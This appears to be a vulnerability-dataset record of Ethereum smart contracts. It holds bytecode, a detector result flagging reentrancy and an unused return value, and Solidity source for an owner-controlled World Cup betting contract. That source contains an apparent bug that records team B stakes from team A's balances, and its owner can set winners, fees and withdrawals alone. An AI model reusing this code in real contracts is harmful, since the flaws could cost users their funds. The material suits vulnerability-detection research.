ffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d8d4d191b9d7dcdbe269cc9d0c42414847873031a6a07e7d9e807f36548e542464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,933 |
0xa01bba0112126fe2398d23d6c1281c2a0d871b18
|
pragma solidity ^0.4.23;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns(uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function withdrawAll() public onlyOwner{
owner.transfer(address(this).balance);
}
function withdrawPart(address _to,uint256 _percent) public onlyOwner{
require(_percent>0&&_percent<=100);
require(_to != address(0));
uint256 _amount = address(this).balance - address(this).balance*(100 - _percent)/100;
if (_amount>0){
_to.transfer(_amount);
}
}
}
contract Pausable is Ownable {
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns(bool) {
paused = true;
return true;
}
function unpause() public onlyOwner whenPaused returns(bool) {
paused = false;
return true;
}
}
contract WWC is Pausable {
string[33] public teams = [
"",
"Egypt", // 1
"Morocco", // 2
"Nigeria", // 3
"Senegal", // 4
"Tunisia", // 5
"Australia", // 6
"IR Iran", // 7
"Japan", // 8
"Korea Republic", // 9
"Saudi Arabia", // 10
"Belgium", // 11
"Croatia", // 12
"Denmark", // 13
"England", // 14
"France", // 15
"Germany", // 16
"Iceland", // 17
"Poland", // 18
"Portugal", // 19
"Russia", // 20
"Serbia", // 21
"Spain", // 22
"Sweden", // 23
"Switzerland", // 24
"Costa Rica", // 25
"Mexico", // 26
"Panama", // 27
"Argentina", // 28
"Brazil", // 29
"Colombia", // 30
"Peru", // 31
"Uruguay" // 32
];
}
contract Champion is WWC {
event VoteSuccessful(address user,uint256 team, uint256 amount);
using SafeMath for uint256;
struct Vote {
mapping(address => uint256) amounts;
uint256 totalAmount;
address[] users;
mapping(address => uint256) weightedAmounts;
uint256 weightedTotalAmount;
}
uint256 public pool;
Vote[33] votes;
uint256 public voteCut = 5;
uint256 public poolCut = 30;
uint256 public teamWon;
uint256 public voteStopped;
uint256 public minVote = 0.05 ether;
uint256 public voteWeight = 4;
mapping(address=>uint256) public alreadyWithdraw;
modifier validTeam(uint256 _teamno) {
require(_teamno > 0 && _teamno <= 32);
_;
}
function setVoteWeight(uint256 _w) public onlyOwner{
require(_w>0&& _w<voteWeight);
voteWeight = _w;
}
function setMinVote(uint256 _min) public onlyOwner{
require(_min>=0.01 ether);
minVote = _min;
}
function setVoteCut(uint256 _cut) public onlyOwner{
require(_cut>=0&&_cut<=100);
voteCut = _cut;
}
function setPoolCut(uint256 _cut) public onlyOwner{
require(_cut>=0&&_cut<=100);
poolCut = _cut;
}
function getVoteOf(uint256 _team) validTeam(_team) public view returns(
uint256 totalUsers,
uint256 totalAmount,
uint256 meAmount,
uint256 meWeightedAmount
) {
Vote storage _v = votes[_team];
totalAmount = _v.totalAmount;
totalUsers = _v.users.length;
meAmount = _v.amounts[msg.sender];
meWeightedAmount = _v.weightedAmounts[msg.sender];
}
function voteFor(uint256 _team) validTeam(_team) public payable whenNotPaused {
require(msg.value >= minVote);
require(voteStopped == 0);
userVoteFor(msg.sender, _team, msg.value);
}
function userVoteFor(address _user, uint256 _team, uint256 _amount) internal{
Vote storage _v = votes[_team];
uint256 voteVal = _amount.sub(_amount.mul(voteCut).div(100));
if (voteVal<_amount){
owner.transfer(_amount.sub(voteVal));
}
if (_v.amounts[_user] == 0) {
_v.users.push(_user);
}
pool = pool.add(voteVal);
_v.totalAmount = _v.totalAmount.add(voteVal);
_v.amounts[_user] = _v.amounts[_user].add(voteVal);
_v.weightedTotalAmount = _v.weightedTotalAmount.add(voteVal.mul(voteWeight));
_v.weightedAmounts[_user] = _v.weightedAmounts[_user].add(voteVal.mul(voteWeight));
emit VoteSuccessful(_user,_team,_amount);
}
function stopVote() public onlyOwner {
require(voteStopped == 0);
voteStopped = 1;
}
function setWonTeam(uint256 _team) validTeam(_team) public onlyOwner{
require(voteStopped == 1);
teamWon = _team;
}
function myBonus() public view returns(uint256 _bonus,bool _isTaken){
if (teamWon==0){
return (0,false);
}
_bonus = bonusAmount(teamWon,msg.sender);
_isTaken = alreadyWithdraw[msg.sender] == 1;
}
function bonusAmount(uint256 _team, address _who) internal view returns(uint256) {
Vote storage _v = votes[_team];
if (_v.weightedTotalAmount == 0){
return 0;
}
uint256 _poolAmount = pool.mul(100-poolCut).div(100);
uint256 _amount = _v.weightedAmounts[_who].mul(_poolAmount).div(_v.weightedTotalAmount);
return _amount;
}
function withdrawBonus() public whenNotPaused{
require(teamWon>0);
require(alreadyWithdraw[msg.sender]==0);
alreadyWithdraw[msg.sender] = 1;
uint256 _amount = bonusAmount(teamWon,msg.sender);
require(_amount<=address(this).balance);
if(_amount>0){
msg.sender.transfer(_amount);
}
}
}
contract TeamVersus is WWC {
event VoteSuccessful(address user,uint256 combatId,uint256 team, uint256 amount);
using SafeMath for uint256;
struct Combat{
uint256 poolOfTeamA;
uint256 poolOfTeamB;
uint128 teamAID; // team id: 1-32
uint128 teamBID; // team id: 1-32
uint128 state; // 0 not started 1 started 2 ended
uint128 wonTeamID; // 0 not set
uint256 errCombat; // 0 validate 1 errCombat
}
mapping (uint256 => bytes32) public comments;
uint256 public voteCut = 5;
uint256 public poolCut = 20;
uint256 public minVote = 0.05 ether;
Combat[] combats;
mapping(uint256=>mapping(address=>uint256)) forTeamAInCombat;
mapping(uint256=>mapping(address=>uint256)) forTeamBInCombat;
mapping(uint256=>address[]) usersForTeamAInCombat;
mapping(uint256=>address[]) usersForTeamBInCombat;
mapping(uint256=>mapping(address=>uint256)) public alreadyWithdraw;
function init() public onlyOwner{
addCombat(1,32,"Friday 15 June");
addCombat(2,7,"Friday 15 June");
addCombat(19,22,"Friday 15 June");
addCombat(15,6,"Saturday 16 June");
addCombat(28,17,"Saturday 16 June");
addCombat(31,13,"Saturday 16 June");
addCombat(12,3,"Saturday 16 June");
addCombat(25,21,"Sunday 17 June");
addCombat(16,26,"Sunday 17 June");
addCombat(29,24,"Sunday 17 June");
addCombat(23,9,"Monday 18 June");
addCombat(11,27,"Monday 18 June");
addCombat(5,14,"Monday 18 June");
addCombat(30,8,"Tuesday 19 June");
addCombat(18,4,"Tuesday 19 June");
addCombat(20,1,"Tuesday 19 June");
addCombat(19,2,"Wednesday 20 June");
addCombat(32,10,"Wednesday 20 June");
addCombat(7,22,"Wednesday 20 June");
addCombat(13,6,"Thursday 21 June");
addCombat(15,31,"Thursday 21 June");
addCombat(28,12,"Thursday 21 June");
addCombat(29,25,"Friday 22 June");
addCombat(3,17,"Friday 22 June");
addCombat(21,24,"Friday 22 June");
addCombat(11,5,"Saturday 23 June");
addCombat(9,26,"Saturday 23 June");
addCombat(16,23,"Saturday 23 June");
addCombat(14,27,"Sunday 24 June");
addCombat(8,4,"Sunday 24 June");
addCombat(18,30,"Sunday 24 June");
addCombat(32,20,"Monday 25 June");
addCombat(10,1,"Monday 25 June");
addCombat(22,2,"Monday 25 June");
addCombat(7,19,"Monday 25 June");
addCombat(6,31,"Tuesday 26 June");
addCombat(13,15,"Tuesday 26 June");
addCombat(3,28,"Tuesday 26 June");
addCombat(17,12,"Tuesday 26 June");
addCombat(9,16,"Wednesday 27 June");
addCombat(26,23,"Wednesday 27 June");
addCombat(21,29,"Wednesday 27 June");
addCombat(24,25,"Wednesday 27 June");
addCombat(8,18,"Thursday 28 June");
addCombat(4,30,"Thursday 28 June");
addCombat(27,5,"Thursday 28 June");
addCombat(14,11,"Thursday 28 June");
}
function setMinVote(uint256 _min) public onlyOwner{
require(_min>=0.01 ether);
minVote = _min;
}
function markCombatStarted(uint256 _index) public onlyOwner{
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state==0);
c.state = 1;
}
function markCombatEnded(uint256 _index) public onlyOwner{
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state==1);
c.state = 2;
}
function setCombatWonTeam(uint256 _index,uint128 _won) public onlyOwner{
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state==2);
require(c.teamAID == _won || c.teamBID == _won);
c.wonTeamID = _won;
}
function withdrawBonus(uint256 _index) public whenNotPaused{
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state ==2 && c.wonTeamID>0);
require(alreadyWithdraw[_index][msg.sender]==0);
alreadyWithdraw[_index][msg.sender] = 1;
uint256 _amount = bonusAmount(_index,msg.sender);
require(_amount<=address(this).balance);
if(_amount>0){
msg.sender.transfer(_amount);
}
}
function myBonus(uint256 _index) public view returns(uint256 _bonus,bool _isTaken){
Combat storage c = combats[_index];
if (c.wonTeamID==0){
return (0,false);
}
_bonus = bonusAmount(_index,msg.sender);
_isTaken = alreadyWithdraw[_index][msg.sender] == 1;
}
function bonusAmount(uint256 _index,address _who) internal view returns(uint256){
Combat storage c = combats[_index];
uint256 _poolAmount = c.poolOfTeamA.add(c.poolOfTeamB).mul(100-poolCut).div(100);
uint256 _amount = 0;
if (c.teamAID ==c.wonTeamID){
if (c.poolOfTeamA == 0){
return 0;
}
_amount = forTeamAInCombat[_index][_who].mul(_poolAmount).div(c.poolOfTeamA);
}else if (c.teamBID == c.wonTeamID) {
if (c.poolOfTeamB == 0){
return 0;
}
_amount = forTeamBInCombat[_index][_who].mul(_poolAmount).div(c.poolOfTeamB);
}
return _amount;
}
function addCombat(uint128 _teamA,uint128 _teamB,bytes32 _cmt) public onlyOwner{
Combat memory c = Combat({
poolOfTeamA: 0,
poolOfTeamB: 0,
teamAID: _teamA,
teamBID: _teamB,
state: 0,
wonTeamID: 0,
errCombat: 0
});
uint256 id = combats.push(c) - 1;
comments[id] = _cmt;
}
function setVoteCut(uint256 _cut) public onlyOwner{
require(_cut>=0&&_cut<=100);
voteCut = _cut;
}
function setPoolCut(uint256 _cut) public onlyOwner{
require(_cut>=0&&_cut<=100);
poolCut = _cut;
}
function getCombat(uint256 _index) public view returns(
uint128 teamAID,
string teamAName,
uint128 teamBID,
string teamBName,
uint128 wonTeamID,
uint256 poolOfTeamA,
uint256 poolOfTeamB,
uint256 meAmountForTeamA,
uint256 meAmountForTeamB,
uint256 state,
bool isError,
bytes32 comment
){
Combat storage c = combats[_index];
teamAID = c.teamAID;
teamAName = teams[c.teamAID];
teamBID = c.teamBID;
teamBName = teams[c.teamBID];
wonTeamID = c.wonTeamID;
state = c.state;
poolOfTeamA = c.poolOfTeamA;
poolOfTeamB = c.poolOfTeamB;
meAmountForTeamA = forTeamAInCombat[_index][msg.sender];
meAmountForTeamB = forTeamBInCombat[_index][msg.sender];
isError = c.errCombat == 1;
comment = comments[_index];
}
function getCombatsCount() public view returns(uint256){
return combats.length;
}
function invalidateCombat(uint256 _index) public onlyOwner{
Combat storage c = combats[_index];
require(c.errCombat==0);
c.errCombat = 1;
}
function voteFor(uint256 _index,uint256 _whichTeam) public payable whenNotPaused{
require(msg.value>=minVote);
Combat storage c = combats[_index];
require(c.errCombat==0 && c.state == 0 && c.wonTeamID==0);
userVoteFor(msg.sender, _index,_whichTeam, msg.value);
}
function userVoteFor(address _standFor, uint256 _index,uint256 _whichTeam, uint256 _amount) internal{
Combat storage c = combats[_index];
uint256 voteVal = _amount.sub(_amount.mul(voteCut).div(100));
if (voteVal<_amount){
owner.transfer(_amount.sub(voteVal));
}
if (_whichTeam == c.teamAID){
c.poolOfTeamA = c.poolOfTeamA.add(voteVal);
if (forTeamAInCombat[_index][_standFor]==0){
usersForTeamAInCombat[_index].push(_standFor);
}
forTeamAInCombat[_index][_standFor] = forTeamAInCombat[_index][_standFor].add(voteVal);
}else {
c.poolOfTeamB = c.poolOfTeamB.add(voteVal);
if (forTeamBInCombat[_index][_standFor]==0){
usersForTeamBInCombat[_index].push(_standFor);
}
forTeamBInCombat[_index][_standFor] = forTeamAInCombat[_index][_standFor].add(voteVal);
}
emit VoteSuccessful(_standFor,_index,_whichTeam,_amount);
}
function refundErrCombat(uint256 _index) public whenNotPaused{
Combat storage c = combats[_index];
require(c.errCombat == 1);
uint256 _amount = forTeamAInCombat[_index][msg.sender].add(forTeamBInCombat[_index][msg.sender]);
require(_amount>0);
forTeamAInCombat[_index][msg.sender] = 0;
forTeamBInCombat[_index][msg.sender] = 0;
msg.sender.transfer(_amount);
}
}
|
0x6080604052600436106101685763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662c2b78e811461016d57806305ccfddd1461017d578063293d7663146101955780632b4cbcc3146101ad5780632dea5f6d1461032b5780632f475c32146103435780633ed2b77a146103675780633f4ba83a146103f4578063471151921461041d5780635c975abb14610444578063604d3943146104595780636066ed111461046e57806365ce73951461048357806372d329681461049b5780638456cb59146104b3578063853828b6146104c85780638c19d2ca146104dd5780638da5cb5b146105015780638ebb4c1514610532578063a39ad7471461054a578063a5f02b001461055f578063b84cc01714610577578063bd516e04146105a8578063bf4a13ee146105d2578063e1c7392a146105f6578063e5b7ec881461060b578063f2fde38b14610623578063f72e695b14610644575b600080fd5b61017b60043560243561065c565b005b34801561018957600080fd5b5061017b6004356106fa565b3480156101a157600080fd5b5061017b600435610752565b3480156101b957600080fd5b506101c560043561085f565b604051808d6001608060020a03166001608060020a03168152602001806020018c6001608060020a03166001608060020a03168152602001806020018b6001608060020a03166001608060020a031681526020018a815260200189815260200188815260200187815260200186815260200185151515158152602001846000191660001916815260200183810383528e818151815260200191508051906020019080838360005b8381101561028457818101518382015260200161026c565b50505050905090810190601f1680156102b15780820380516001836020036101000a031916815260200191505b5083810382528c5181528c516020918201918e019080838360005b838110156102e45781810151838201526020016102cc565b50505050905090810190601f1680156103115780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b34801561033757600080fd5b5061017b600435610add565b34801561034f57600080fd5b5061017b600160a060020a0360043516602435610b61565b34801561037357600080fd5b5061037f600435610c0d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103b95781810151838201526020016103a1565b50505050905090810190601f1680156103e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040057600080fd5b50610409610ca8565b604080519115158252519081900360200190f35b34801561042957600080fd5b50610432610d00565b60408051918252519081900360200190f35b34801561045057600080fd5b50610409610d06565b34801561046557600080fd5b50610432610d16565b34801561047a57600080fd5b50610432610d1c565b34801561048f57600080fd5b5061017b600435610d22565b3480156104a757600080fd5b5061017b600435610d56565b3480156104bf57600080fd5b50610409610e92565b3480156104d457600080fd5b5061017b610eef565b3480156104e957600080fd5b5061017b6004356001608060020a0360243516610f4c565b34801561050d57600080fd5b50610516611012565b60408051600160a060020a039092168252519081900360200190f35b34801561053e57600080fd5b50610432600435611021565b34801561055657600080fd5b50610432611033565b34801561056b57600080fd5b5061017b600435611039565b34801561058357600080fd5b5061058f6004356110bf565b6040805192835290151560208301528051918290030190f35b3480156105b457600080fd5b5061017b6001608060020a0360043581169060243516604435611149565b3480156105de57600080fd5b50610432600435600160a060020a03602435166112dd565b34801561060257600080fd5b5061017b6112fa565b34801561061757600080fd5b5061017b6004356119f2565b34801561062f57600080fd5b5061017b600160a060020a0360043516611a2f565b34801561065057600080fd5b5061017b600435611a86565b6000805460a060020a900460ff161561067457600080fd5b60255434101561068357600080fd5b602680548490811061069157fe5b90600052602060002090600502019050806004015460001480156106c0575060038101546001608060020a0316155b80156106d